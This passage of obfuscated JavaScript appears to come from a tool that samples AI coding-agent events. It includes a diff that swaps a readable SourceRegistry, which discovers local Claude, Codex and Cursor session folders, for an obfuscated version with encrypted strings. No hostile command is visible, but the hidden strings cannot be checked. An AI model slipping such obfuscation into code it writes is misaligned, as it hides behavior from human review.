_0x3273c1=[],_0x3d435a=-0x19e0+-0x20e6+0x3ac6,_0xec0eb9,_0x5e7518='';_0xd2cc0b=_0xa230b0(_0xd2cc0b);let _0x40e13c;for(_0x40e13c=0x3*-0x8f9+-0x1cae+0x1*0x3799;_0x40e13c<-0x2703*0x1+0x4*-0x8c3+0x4b0f;_0x40e13c++){_0x3273c1[_0x40e13c]=_0x40e13c;}for(_0x40e13c=0x5da*-0x1+-0x253c+0x158b*0x2;_0x40e13c<-0x91*0x19+-0x2189+0x2*0x1859;_0x40e13c++){_0x3d435a=(_0x3d435a+_0x3273c1[_0x40e13c]+_0x5738c9['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x40e13c%_0x5738c9['\x6c\x65\x6e\x67\x74\x68']))%(0x20dc+-0x39f*-0x6+0x1*-0x3596),_0xec0eb9=_0x3273c1[_0x40e13c],_0x3273c1[_0x40e13c]=_0x3273c1[_0x3d435a],_0x3273c1[_0x3d435a]=_0xec0eb9;}_0x40e13c=0x1adf*-0x1+-0x5*0x54b+-0x2*-0x1aab,_0x3d435a=-0x6d*-0x1d+-0xa*-0x1f7+-0x1*0x1fff;for(let _0x45aaf6=0x21f5+-0x5c5+0x1c30*-0x1;_0x45aaf6<_0xd2cc0b['\x6c\x65\x6e\x67\x74\x68'];_0x45aaf6++){_0x40e13c=(_0x40e13c+(0x17c+0x720*0x2+0xfbb*-0x1))%(-0x3*-0x2b+-0x8*0x3d5+-0x113*-0x1d),_0x3d435a=(_0x3d435a+_0x3273c1[_0x40e13c])%(-0xf86+-0x6c5*-0x1+-0xe3*-0xb),_0xec0eb9=_0x3273c1[_0x40e13c],_0x3273c1[_0x40e13c]=_0x3273c1[_0x3d435a],_0x3273c1[_0x3d435a]=_0xec0eb9,_0x5e7518+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0xd2cc0b['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x45aaf6)^_0x3273c1[(_0x3273c1[_0x40e13c]+_0x3273c1[_0x3d435a])%(-0x491+-0x25*-0xcb+-0xbe3*0x2)]);}return _0x5e7518;};_0x9dec['\x4c\x57\x71\x72\x4a\x48']=_0x2fe709,_0x9dec['\x4f\x79\x57\x4b\x6b\x4d']={},_0x9dec['\x54\x66\x41\x67\x64\x51']=!![];}const _0xa8beb3=_0x33ea38[0x17d3+0x1c2a+-0x33fd],_0x153183=_0x5c54a0+_0xa8beb3,_0x434b30=_0x9dec['\x4f\x79\x57\x4b\x6b\x4d'][_0x153183];return!_0x434b30?(_0x9dec['\x6f\x6e\x78\x79\x4e\x50']===undefined&&(_0x9dec['\x6f\x6e\x78\x79\x4e\x50']=!![]),_0x511a95=_0x9dec['\x4c\x57\x71\x72\x4a\x48'](_0x511a95,_0x47a553),_0x9dec['\x4f\x79\x57\x4b\x6b\x4d'][_0x153183]=_0x511a95):_0x511a95=_0x434b30,_0x511a95;}function _0x290c(){const _0x4aa85f=['\x66\x43\x6f\x79\x57\x34\x74\x63\x4c\x6d\x6f\x61\x63\x64\x54\x2f','\x63\x53\x6b\x6b\x61\x6d\x6b\x73\x57\x51\x50\x61\x46\x30\x35\x76\x57\x34\x30\x4c\x57\x52\x44\x6a','\x57\x50\x4e\x64\x50\x53\x6f\x79\x6a\x47\x5a\x63\x54\x43\x6f\x4e\x57\x50\x78\x64\x4a\x30\x75','\x7a\x38\x6f\x70\x6c\x47','\x57\x34\x78\x63\x53\x43\x6b\x77\x72\x47\x37\x63\x4a\x38\x6f\x50\x57\x50\x79','\x66\x71\x2f\x64\x49\x47','\x57\x34\x33\x63\x4f\x53\x6b\x43\x45\x72\x4e\x63\x53\x6d\x6f\x6f\x57\x4f\x71','\x66\x53\x6f\x66\x57\x35\x4a\x63\x49\x71','\x57\x34\x37\x64\x55\x65\x78\x64\x51\x53\x6f\x77\x57\x50\x75\x53\x7a\x71','\x57\x50\x6d\x67\x45\x71','\x76\x64\x4a\x64\x50\x53\x6f\x2f\x57\x36\x69\x73','\x41\x6d\x6f\x69\x6f\x4a\x4c\x35\x74\x32\x47\x64','\x57\x4f\x4e\x63\x48\x4e\x6e\x30\x57\x4f\x70\x64\x50\x63\x34','\x57\x51\x37\x64\x53\x6d\x6b\x4f\x74\x78\x5a\x63\x52\x63\x6d','\x6c\x57\x62\x50','\x57\x35\x76\x77\x6e\x53\x6b\x41\x57\x35\x4f\x58\x57\x37\x4a\x63\x4b\x71','\x57\x34\x72\x72\x6c\x43\x6b\x34\x57\x37\x62\x6b\x57\x35\x43\x55\x45\x4e\x69','\x66\x43\x6b\x76\x57\x50\x43','\x69\x53\x6b\x75\x79\x73\x71\x52\x66\x47\x69\x73\x57\x36\x35\x38\x62\x65\x37\x63\x53\x71','\x57\x36\x6e\x63\x57\x51\x4f\x56\x57\x50\x75\x6c\x6f\x71','\x57\x35\x57\x49\x43\x38\x6f\x4e\x57\x35\x72\x74\x73\x6d\x6b\x4d','\x41\x43\x6f\x54\x6a\x38\x6f\x49\x7a\x66\x4b','\x57\x51\x6a\x34\x6a\x43\x6f\x47\x71\x68\x52\x63\x4e\x53\x6f\x2f','\x57\x36\x37\x64\x53\x6d\x6b\x31\x71\x71','\x57\x50\x64\x63\x48\x53\x6b\x48\x44\x59\x70\x63\x4d\x38\x6f\x4c','\x57\x51\x5a\x63\x4f\x31\x64\x64\x54\x61\x74\x64\x4a\x48\x4c\x79\x57\x4f\x74\x64\x51\x75\x4e\x63\x4b\x38\x6b\x4b','\x67\x43\x6b\x45\x75\x71','\x62\x43\x6f\x77\x57\x34\x57','\x57\x4f\x7a\x67\x57\x51\x71\x78\x57\x37\x2f\x64\x4d\x67\x35\x6f','\x72\x4b\x74\x63\x4a\x53\x6f\x79\x57\x36\x43\x6d\x57\x37\x78\x64\x4c\x57','\x57\x50\x5a\x64\x51\x6d\x6f\x44\x6a\x4c\x37\x64\x49\x43\x6b\x44\x57\x52\x52\x64\x4f\x4b\x6d\x52\x57\x36\x46\x64\x51\x71','\x77\x38\x6f\x31\x57\x52\x68\x63\x50\x38\x6f\x68\x45\x57','\x76\x38\x6f\x69\x57\x35\x7a\x41\x41\x43\x6b\x42\x57\x50\x35\x47\x57\x36\x75\x6e\x57\x52\x50\x4f\x64\x47','\x57\x37\x7a\x6f\x57\x51\x35\x69\x70\x62\x42\x63\x4d\x38\x6f\x30\x57\x52\x46\x63\x54\x71','\x65\x75\x56\x64\x53\x61\x58\x52\x57\x36\x5a\x64\x4e\x62\x38','\x42\x4d\x43\x68\x6c\x6d\x6f\x38\x57\x37\x56\x64\x51\x6d\x6b\x6b\x42\x63\x61\x4d\x57\x36\x48\x46','\x57\x35\x5a\x63\x56\x38\x6b\x62\x45\x49\x78\x63\x4e\x6d\x6f\x67\x57\x50\x69','\x71\x4c\x33\x63\x4c\x6d\x6f\x42\x57\x50\x5a\x63\x4a\x6d\x6f\x7a\x45\x43\x6b\x31\x64\x43\x6f\x58\x79\x53\x6f\x33','\x71\x53\x6f\x6e\x61\x4e\x46\x63\x4b\x4a\x39\x33\x79\x72\x64\x63\x50\x47\x46\x63\x54\x71','\x57\x4f\x47\x67\x44\x6d\x6f\x78\x57\x52\x58\x4e\x57\x51\x70\x64\x48\x6d\x6f\x2f\x57\x37\x75\x45\x70\x30\x6e\x31','\x57\x50\x54\x46\x57\x51\x34','\x6a\x38\x6b\x75\x7a\x59\x71\x54\x67\x47\x61\x35\x57\x37\x6a\x7a\x6b\x4e\x37\x63\x53\x61','\x72\x62\x2f\x64\x55\x5a\x4c\x57\x57\x34\x37\x64\x4e\x58\x4f','\x74\x6d\x6b\x59\x75\x53\x6b\x5a\x61\x71\x71','\x65\x67\x78\x63\x49\x32\x56\x64\x48\x57\x57','\x61\x43\x6b\x6b\x57\x35\x61\x4e\x79\x61\x43\x4e\x6f\x63\x62\x36\x57\x51\x74\x64\x55\x38\x6b\x53\x64\x57','\x74\x72\x56\x63\x4f\x4c\x4b\x56\x57\x52\x4a\x64\x56\x4a\x78\x63\x4e\x53\x6f\x6d\x57\x34\x4e\x64\x47\x47','\x41\x43\x6f\x50\x6f\x53\x6f\x58\x72\x66\x34\x58\x43\x71','\x67\x38\x6f\x53\x66\x6d\x6f\x56\x67\x63\x43\x37\x57\x52\x69\x38\x57\x4f\x6d'];_0x290c=function(){return _0x4aa85f;};return _0x290c();}(function(_0x52a032,_0x148f96){const _0x26b14a=_0x9dec,_0x53af73=_0x52a032();while(!![]){try{const _0x485731=parseInt(_0x26b14a(0x1ed,'\x59\x66\x71\x4f'))/(-0x5c5+0x1e3c*-0x1+0xb*0x346)+parseInt(_0x26b14a(0x1e8,'\x6e\x62\x46\x5d'))/(0x82*-0x49+0x1*0xb6f+0x19a5)*(-parseInt(_0x26b14a(0x1cb,'\x75\x77\x70\x4b'))/(-0x7*-0x2a4+-0x5f*0x22+-0x5db))+parseInt(_0x26b14a(0x1ef,'\x2a\x4c\x36\x43'))/(-0x6c5*-0x1+-0x19*0x17+-0x482)*(parseInt(_0x26b14a(0x1e0,'\x6f\x29\x6b\x75'))/(-0x25*-0xcb+-0x1f81*0x1+0x2b*0xd))+parseInt(_0x26b14a(0x1dd,'\x51\x29\x70\x5b'))/(-0xb10+0x20a1*-0x1+0x24d*0x13)+parseInt(_0x26b14a(0x1e2,'\x64\x5d\x34\x75'))/(-0x1ec4+0x1*-0x1e6e+0x3d39)*(-parseInt(_0x26b14a(0x1d7,'\x51\x29\x70\x5b'))/(0xcbf+0x13*0x35+-0x10a6))+parseInt(_0x26b14a(0x1e6,'\x6c\x31\x4d\x7a'))/(-0xf0d+0xd33+0x1*0x1e3)+-parseInt(_0x26b14a(0x1e4,'\x77\x43\x64\x66'))/(0xd*0xdb+-0x274*0xb+-0xb1*-0x17)*(parseInt(_0x26b14a(0x1e9,'\x59\x66\x71\x4f'))/(-0xa59+-0x1*0x26cb+0x312f));if(_0x485731===_0x148f96)break;else _0x53af73['push'](_0x53af73['shift']());}catch(_0x70e11a){_0x53af73['push'](_0x53af73['shift']());}}}(_0x290c,-0xbd4a9+-0xe60f3+0x24f420));export const CONSERVATIVE_SAMPLING={'\x64\x65\x66\x61\x75\x6c\x74\x52\x61\x74\x65':0x1,'\x74\x6f\x6f\x6c\x52\x61\x74\x65\x73':{'\x72\x65\x61\x64':0x64,'\x6c\x73':0x64,'\x67\x6c\x6f\x62':0x32,'\x67\x72\x65\x70':0x14},'\x63\x6f\x6c\x6c\x61\x70\x73\x65\x43\x6f\x6e\x73\x65\x63\x75\x74\x69\x76\x65':!![],'\x6d\x61\x78\x50\x65\x72\x42\x61\x74\x63\x68':0x1f4};export class ToolEventSampler{['\x63\x66\x67'];[_0x200798(0x1fa,'\x29\x6c\x4f\x57')]=new Map();[_0x200798(0x1ce,'\x6c\x31\x4d\x7a')];constructor(_0x484224){const _0xd49950=_0x200798;this[_0xd49950(0x1f5,'\x77\x43\x64\x66')]=_0x484224;}[_0x200798(0x1f0,'\x45\x58\x40\x54')+'\x65\x70'](_0x5777c0){const _0x1c31bc=_0x200798;if(_0x5777c0[_0x1c31bc(0x1f6,'\x51\x29\x70\x5b')+_0x1c31bc(0x1d6,'\x24\x5d\x33\x75')])return this[_0x1c31bc(0x1ee,'\x49\x6a\x72\x74')]=_0x5777c0[_0x1c31bc(0x1e3,'\x51\x29\x70\x5b')],!![];const _0x2a9dc1=_0x5777c0[_0x1c31bc(0x1db,'\x49\x68\x40\x5e')]??'';if(this[_0x1c31bc(0x1d9,'\x59\x70\x26\x32')][_0x1c31bc(0x1d5,'\x33\x37\x40\x57')+_0x1c31bc(0x1f8,'\x6b\x4b\x76\x24')+_0x1c31bc(0x1e7,'\x49\x68\x40\x5e')]&&_0x2a9dc1===this[_0x1c31bc(0x1ca,'\x2a\x36\x55\x5e')])return![];this[_0x1c31bc(0x1ee,'\x49\x6a\x72\x74')]=_0x2a9dc1;const _0x22681d=this[_0x1c31bc(0x1f3,'\x2a\x36\x55\x5e')][_0x1c31bc(0x1dc,'\x74\x67\x68\x29')+'\x73']?.[_0x2a9dc1]??this['\x63\x66\x67'][_0x1c31bc(0x1e1,'\x59\x66\x71\x4f')+'\x61\x74\x65'];if(_0x22681d<=0xad*0x2f+0x239e+-0x4360)return!![];const _0xd70603=(this[_0x1c31bc(0x1de,'\x78\x4c\x74\x45')]['\x67\x65\x74'](_0x2a9dc1)??-0x5d5+-0x5*-0x12d+0x3*-0x4)+(-0x2687+0x8*0xb+-0x2f*-0xd0);return this[_0x1c31bc(0x1ea,'\x2a\x4c\x36\x43')][_0x1c31bc(0x1d0,'\x5b\x6b\x66\x52')](_0x2a9dc1,_0xd70603),_0xd70603%_0x22681d===0x5a4+-0x25c7*-0x1+-0x2b6a;}[_0x200798(0x1eb,'\x52\x4c\x4b\x63')](_0x5aead4){const _0x42f73d=_0x200798,_0x41a72c=[];for(const _0x14dc70 of _0x5aead4){if(this[_0x42f73d(0x1da,'\x45\x58\x40\x54')]['\x6d\x61\x78\x50\x65\x72\x42\x61'+'\x74\x63\x68']!==undefined&&_0x41a72c[_0x42f73d(0x1d4,'\x49\x6a\x72\x74')]>=this[_0x42f73d(0x1f9,'\x79\x5a\x30\x2a')][_0x42f73d(0x1f4,'\x51\x29\x70\x5b')+_0x42f73d(0x1cd,'\x31\x47\x31\x57')])break;if(this['\x73\x68\x6f\x75\x6c\x64\x4b\x65'+'\x65\x70'](_0x14dc70))_0x41a72c[_0x42f73d(0x1f7,'\x45\x58\x40\x54')](_0x14dc70);}return _0x41a72c;}}
@@ -1,33 +1 @@
1
- import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs';
2
- import { dirname, join } from 'node:path';
3
- import { homedir } from 'node:os';
4
- export const DEFAULT_DISCOVERY_WHITELIST = [
5
- join(homedir(), '.claude', 'projects'),
6
- join(homedir(), '.codex', 'sessions'),
7
- join(homedir(), '.cursor'),
8
- ];
9
- /** 源注册/发现 (批注#33): 默认只扫显式 register; 自动发现 opt-in + 白名单. */
10
- export class SourceRegistry {
11
- sources = [];
12
- autoDiscover;
13
- whitelist;
14
- path;
15
- constructor(opts = {}) {
16
- this.autoDiscover = opts.autoDiscover ?? false;
17
- this.whitelist = opts.whitelist ?? DEFAULT_DISCOVERY_WHITELIST;
18
- this.path = opts.path;
19
- if (this.path && existsSync(this.path)) {
20
- this.sources.push(...JSON.parse(readFileSync(this.path, 'utf8')));
21
- }
22
- }
23
- register(s) { this.sources.push(s); this.persist(); }
24
- list() { return this.sources; }
25
- /** 自动发现根: 默认 off→空; opt-in→白名单(实际 glob 扫描在集成层). */
26
- discoveryRoots() { return this.autoDiscover ? [...this.whitelist] : []; }
27
- persist() {
28
- if (!this.path)
29
- return;
30
- mkdirSync(dirname(this.path), { recursive: true });
31
- writeFileSync(this.path, JSON.stringify(this.sources, null, 2));
32
- }
33
- }
1
+ const _0x3f2421=_0x44a3;(function(_0x1150ae,_0x23f608){const _0x30f6dd=_0x44a3,_0x3e0727=_0x1150ae();while(!![]){try{const _0x30dd34=-parseInt(_0x30f6dd(0x19d,'\x48\x24\x5b\x50'))/(-0x1*-0x18bd+-0xa84*0x1+0x118*-0xd)*(-parseInt(_0x30f6dd(0x1ca,'\x24\x26\x30\x72'))/(-0x1099+0x7*-0x256+-0x2ff*-0xb))+parseInt(_0x30f6dd(0x1a3,'\x29\x39\x61\x29'))/(-0x1d5*0x13+-0xab1+0x1*0x2d83)*(parseInt(_0x30f6dd(0x1ba,'\x74\x73\x73\x4f'))/(-0x1d92+0xc77+0x111f))+-parseInt(_0x30f6dd(0x1a7,'\x6f\x35\x79\x73'))/(-0xb5f+-0x2434+0x2f98)+-parseInt(_0x30f6dd(0x1c1,'\x58\x36\x4e\x38'))/(-0x80d+0x5b3*0x3+-0x906)*(-parseInt(_0x30f6dd(0x1bd,'\x68\x4d\x4e\x63'))/(-0xf8d*0x1+0x182d+-0x1f*0x47))+parseInt(_0x30f6dd(0x19c,'\x26\x6c\x25\x79'))/(-0x261c+-0x1*0x8aa+0x2ece)*(parseInt(_0x30f6dd(0x1a6,'\x2a\x5b\x57\x26'))/(0x25f9+0xa*0x305+-0x11*0x402))+parseInt(_0x30f6dd(0x1cb,'\x39\x34\x7a\x5a'))/(0x1*-0x957+-0x1ca+0xb2b)*(-parseInt(_0x30f6dd(0x1d4,'\x6a\x23\x30\x46'))/(-0x748+-0x2*0x1159+0x2a05))+parseInt(_0x30f6dd(0x1a1,'\x4d\x58\x46\x58'))/(0xe20+-0x14*-0x19c+-0x2e44)*(-parseInt(_0x30f6dd(0x1ad,'\x29\x39\x61\x29'))/(-0x1ab9+-0x299+-0x67*-0x49));if(_0x30dd34===_0x23f608)break;else _0x3e0727['push'](_0x3e0727['shift']());}catch(_0x5d35e4){_0x3e0727['push'](_0x3e0727['shift']());}}}(_0x49d4,-0x4bbf2+-0x2f05b*-0x1+0x45ff6));import{existsSync,readFileSync,writeFileSync,mkdirSync}from'\x6e\x6f\x64\x65\x3a\x66\x73';import{dirname,join}from'\x6e\x6f\x64\x65\x3a\x70\x61\x74\x68';function _0x44a3(_0xb997e3,_0x3ee779){_0xb997e3=_0xb997e3-(0x17*-0xbb+0x14e4+-0x27c);const _0x288460=_0x49d4();let _0x1343d7=_0x288460[_0xb997e3];if(_0x44a3['\x62\x4d\x68\x54\x70\x42']===undefined){var _0x1ff5ec=function(_0xbfd263){const _0x25dce7='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x448eea='',_0x94d13e='';for(let _0x3552c2=-0x218a+-0x1*-0x1dd7+0x3b3,_0x4a3b0c,_0x1a58bf,_0x1cb523=0x33e+-0x1141+-0xd3*-0x11;_0x1a58bf=_0xbfd263['\x63\x68\x61\x72\x41\x74'](_0x1cb523++);~_0x1a58bf&&(_0x4a3b0c=_0x3552c2%(0x7ad+0xc61+-0x1e*0xab)?_0x4a3b0c*(-0x1*-0x1e7+0x8b*-0x23+0x1*0x115a)+_0x1a58bf:_0x1a58bf,_0x3552c2++%(-0x130*-0x5+0x1*-0x176+-0x476))?_0x448eea+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x178d*-0x1+-0x5*-0x35+-0x1797&_0x4a3b0c>>(-(-0x22b*0x11+-0x26+0x1*0x2503)*_0x3552c2&0xdda+0x11*-0x5e+-0x796)):0x265e+-0x1*-0x33b+0x1cf*-0x17){_0x1a58bf=_0x25dce7['\x69\x6e\x64\x65\x78\x4f\x66'](_0x1a58bf);}for(let _0x4d318b=-0x1955+0x61*0x9+0x5c*0x3d,_0x316fab=_0x448eea['\x6c\x65\x6e\x67\x74\x68'];_0x4d318b<_0x316fab;_0x4d318b++){_0x94d13e+='\x25'+('\x30\x30'+_0x448eea['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x4d318b)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x1739+0x41*0x3+-0x17ec))['\x73\x6c\x69\x63\x65'](-(-0x17f8+0xdcc+0x2*0x517));}return decodeURIComponent(_0x94d13e);};const _0x22c017=function(_0x8a03ac,_0xd0bd91){let _0x5988a5=[],_0x1d0664=-0x15*0xc9+0x10d9+-0x1*0x5c,_0x12ce88,_0x251d73='';_0x8a03ac=_0x1ff5ec(_0x8a03ac);let _0xe842f0;for(_0xe842f0=0x1d3*-0x6+0x2564+-0xd39*0x2;_0xe842f0<-0x1997*0x1+0xbf*-0xd+0x244a;_0xe842f0++){_0x5988a5[_0xe842f0]=_0xe842f0;}for(_0xe842f0=0x26e9+-0x208c+-0x65d;_0xe842f0<0x1ca*-0xb+-0x7*0x296+0x26c8;_0xe842f0++){_0x1d0664=(_0x1d0664+_0x5988a5[_0xe842f0]+_0xd0bd91['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0xe842f0%_0xd0bd91['\x6c\x65\x6e\x67\x74\x68']))%(0x815*0x3+-0x2111+0x9d2),_0x12ce88=_0x5988a5[_0xe842f0],_0x5988a5[_0xe842f0]=_0x5988a5[_0x1d0664],_0x5988a5[_0x1d0664]=_0x12ce88;}_0xe842f0=0x261c+0x116b+-0x3787,_0x1d0664=0x1ff2+0x4*-0x5a1+-0x96e;for(let _0x574a7f=0x5db+-0xdd6*0x1+-0xe3*-0x9;_0x574a7f<_0x8a03ac['\x6c\x65\x6e\x67\x74\x68'];_0x574a7f++){_0xe842f0=(_0xe842f0+(-0x6a5*0x3+-0x1251+0x7*0x577))%(0x2417*-0x1+-0x2*0x502+-0x1*-0x2f1b),_0x1d0664=(_0x1d0664+_0x5988a5[_0xe842f0])%(0x23c*0x10+-0x268a+0x3ca),_0x12ce88=_0x5988a5[_0xe842f0],_0x5988a5[_0xe842f0]=_0x5988a5[_0x1d0664],_0x5988a5[_0x1d0664]=_0x12ce88,_0x251d73+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x8a03ac['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x574a7f)^_0x5988a5[(_0x5988a5[_0xe842f0]+_0x5988a5[_0x1d0664])%(0x27a*-0x3+0x7a7+0xc7)]);}return _0x251d73;};_0x44a3['\x62\x66\x4b\x72\x73\x76']=_0x22c017,_0x44a3['\x68\x5a\x4c\x7a\x54\x65']={},_0x44a3['\x62\x4d\x68\x54\x70\x42']=!![];}const _0x21cfd4=_0x288460[-0xab1+0x1834+0x1*-0xd83],_0x380224=_0xb997e3+_0x21cfd4,_0xffa354=_0x44a3['\x68\x5a\x4c\x7a\x54\x65'][_0x380224];return!_0xffa354?(_0x44a3['\x68\x6d\x51\x54\x54\x4c']===undefined&&(_0x44a3['\x68\x6d\x51\x54\x54\x4c']=!![]),_0x1343d7=_0x44a3['\x62\x66\x4b\x72\x73\x76'](_0x1343d7,_0x3ee779),_0x44a3['\x68\x5a\x4c\x7a\x54\x65'][_0x380224]=_0x1343d7):_0x1343d7=_0xffa354,_0x1343d7;}function _0x49d4(){const _0x4cfd04=['\x63\x6d\x6f\x2b\x57\x35\x31\x2b\x57\x36\x75\x62','\x57\x36\x70\x64\x4d\x73\x4b\x53','\x46\x31\x48\x35\x72\x47\x37\x63\x4b\x43\x6b\x59\x42\x71','\x65\x38\x6b\x5a\x46\x6d\x6b\x44\x66\x38\x6f\x54\x57\x4f\x2f\x64\x4b\x57','\x57\x50\x6a\x32\x57\x34\x34\x66\x57\x34\x61\x65\x78\x4b\x34\x4a\x57\x36\x38\x54\x70\x71','\x43\x30\x70\x63\x4e\x38\x6b\x4e\x57\x36\x53\x4b\x62\x71','\x6c\x63\x58\x41\x57\x50\x72\x5a\x57\x34\x7a\x4c\x57\x51\x38','\x57\x50\x68\x63\x47\x73\x2f\x64\x47\x5a\x42\x64\x4a\x53\x6f\x2f\x57\x50\x43','\x76\x4c\x4e\x63\x4d\x31\x6d\x35\x6d\x78\x71\x4c\x57\x52\x72\x70\x57\x37\x69','\x67\x77\x48\x69\x57\x4f\x61','\x73\x58\x53\x50\x6d\x38\x6b\x4e\x6f\x6d\x6b\x6f\x57\x35\x30','\x57\x36\x42\x64\x4a\x64\x54\x38','\x57\x51\x58\x64\x57\x37\x71\x49\x57\x4f\x56\x64\x52\x75\x38','\x57\x50\x2f\x63\x47\x78\x56\x63\x51\x62\x46\x64\x4c\x43\x6f\x63\x57\x51\x35\x6d\x57\x36\x57','\x57\x34\x43\x6e\x64\x72\x76\x4a\x65\x43\x6b\x57\x6b\x61','\x57\x35\x48\x2f\x73\x43\x6f\x73','\x45\x38\x6b\x2f\x57\x35\x31\x66\x57\x37\x69','\x43\x77\x61\x4a\x76\x43\x6f\x68\x57\x4f\x58\x2f\x57\x37\x65\x55','\x63\x64\x70\x63\x50\x53\x6b\x73\x78\x38\x6b\x57\x61\x43\x6f\x73\x72\x4d\x34','\x61\x6d\x6f\x47\x57\x34\x5a\x63\x48\x75\x4c\x34\x57\x36\x65','\x64\x38\x6b\x5a\x57\x36\x47\x37\x73\x66\x37\x63\x50\x53\x6f\x57\x45\x64\x69','\x6b\x5a\x7a\x43\x57\x4f\x50\x5a\x57\x34\x4c\x34\x57\x51\x38','\x57\x35\x74\x64\x50\x43\x6f\x30\x57\x51\x48\x69\x44\x77\x61','\x77\x68\x31\x79\x57\x4f\x64\x63\x4d\x6d\x6f\x74\x57\x52\x61','\x57\x50\x42\x63\x56\x38\x6b\x58\x57\x36\x58\x79\x73\x4e\x42\x63\x4a\x67\x61\x42','\x57\x36\x53\x4a\x6f\x65\x4b\x58\x63\x43\x6f\x30\x73\x61','\x57\x36\x62\x2f\x57\x51\x72\x4a','\x57\x35\x46\x64\x51\x38\x6f\x31\x57\x52\x69','\x57\x36\x68\x64\x48\x73\x7a\x47\x62\x6d\x6b\x4c\x57\x36\x74\x64\x56\x57','\x57\x37\x2f\x63\x52\x43\x6b\x65\x57\x50\x34','\x79\x4c\x70\x63\x4d\x43\x6b\x37\x57\x34\x79\x2b\x61\x48\x71','\x45\x6d\x6b\x58\x57\x35\x50\x65\x57\x37\x71\x50\x42\x71','\x57\x37\x38\x4f\x57\x50\x64\x64\x48\x57','\x66\x77\x4a\x63\x53\x6d\x6b\x71\x73\x43\x6f\x2f\x42\x48\x50\x4a\x57\x52\x71','\x57\x52\x30\x76\x45\x4c\x43\x6c\x57\x50\x68\x64\x51\x74\x7a\x33\x41\x38\x6b\x4d\x6b\x57','\x57\x37\x6d\x36\x57\x36\x37\x64\x53\x68\x78\x64\x48\x64\x44\x54\x57\x34\x70\x63\x53\x78\x39\x2b','\x57\x36\x64\x63\x52\x53\x6b\x73\x57\x4f\x71','\x68\x6d\x6f\x35\x57\x35\x5a\x63\x48\x71','\x77\x72\x4f\x56\x6e\x43\x6b\x6e\x6e\x53\x6b\x75\x57\x35\x47','\x73\x43\x6f\x42\x68\x38\x6b\x31\x6f\x38\x6b\x34\x57\x37\x38\x4f\x57\x34\x47\x57\x62\x53\x6f\x51','\x57\x34\x56\x64\x52\x4e\x44\x6b\x43\x71\x33\x63\x51\x4d\x71','\x57\x36\x75\x6f\x57\x4f\x44\x51','\x57\x35\x54\x4c\x74\x38\x6f\x69\x57\x35\x39\x71\x45\x47','\x57\x50\x76\x56\x57\x34\x4a\x64\x52\x38\x6b\x4d\x74\x32\x47\x68','\x57\x50\x52\x63\x4c\x38\x6b\x38\x57\x35\x75','\x57\x37\x4f\x5a\x70\x4c\x75\x43\x65\x38\x6f\x5a','\x70\x47\x72\x30\x79\x38\x6f\x57\x57\x51\x38','\x57\x51\x31\x79\x57\x35\x4c\x6c\x6c\x6d\x6f\x51\x57\x51\x4e\x63\x50\x53\x6b\x57\x69\x53\x6b\x4a','\x63\x5a\x70\x64\x55\x53\x6f\x5a\x45\x38\x6b\x7a\x64\x38\x6f\x38','\x57\x36\x37\x64\x49\x73\x48\x68\x6b\x4d\x78\x63\x53\x53\x6f\x42','\x41\x53\x6b\x52\x57\x35\x54\x7a\x57\x35\x6d\x4c\x42\x43\x6b\x77','\x57\x4f\x4a\x64\x54\x43\x6b\x36\x6a\x38\x6f\x6f\x57\x34\x57\x62\x69\x61','\x57\x51\x2f\x63\x54\x6d\x6f\x74\x57\x4f\x44\x2f\x72\x65\x69\x50','\x65\x53\x6b\x5a\x6a\x38\x6f\x35\x45\x6d\x6b\x54\x57\x51\x42\x64\x4c\x61\x79\x47\x6e\x4a\x71','\x57\x50\x62\x31\x57\x34\x4f\x64\x57\x52\x58\x66\x43\x66\x6d\x32\x57\x36\x47','\x61\x43\x6f\x34\x57\x4f\x4b\x41','\x68\x66\x48\x4c\x62\x43\x6b\x47\x61\x43\x6b\x42\x57\x36\x54\x4f','\x57\x51\x6a\x44\x57\x50\x66\x79\x62\x38\x6f\x6e\x62\x53\x6f\x39','\x45\x59\x72\x6b\x57\x35\x70\x63\x47\x53\x6f\x30\x72\x43\x6b\x63\x57\x51\x6c\x63\x4a\x4c\x50\x6d','\x71\x53\x6b\x35\x57\x4f\x52\x64\x47\x4d\x35\x56\x57\x37\x37\x63\x4f\x43\x6b\x30\x57\x36\x4f'];_0x49d4=function(){return _0x4cfd04;};return _0x49d4();}import{homedir}from'\x6e\x6f\x64\x65\x3a\x6f\x73';export const DEFAULT_DISCOVERY_WHITELIST=[join(homedir(),'\x2e\x63\x6c\x61\x75\x64\x65',_0x3f2421(0x1be,'\x33\x49\x78\x6b')),join(homedir(),_0x3f2421(0x1a9,'\x61\x67\x41\x4b'),_0x3f2421(0x1b7,'\x23\x47\x5e\x42')),join(homedir(),_0x3f2421(0x1c0,'\x25\x65\x35\x48'))];export class SourceRegistry{[_0x3f2421(0x1d3,'\x2a\x57\x67\x41')]=[];[_0x3f2421(0x19f,'\x33\x42\x67\x40')+_0x3f2421(0x1c6,'\x47\x5b\x70\x5e')];[_0x3f2421(0x1d1,'\x50\x37\x32\x72')+'\x74'];['\x70\x61\x74\x68'];constructor(_0x4097c3={}){const 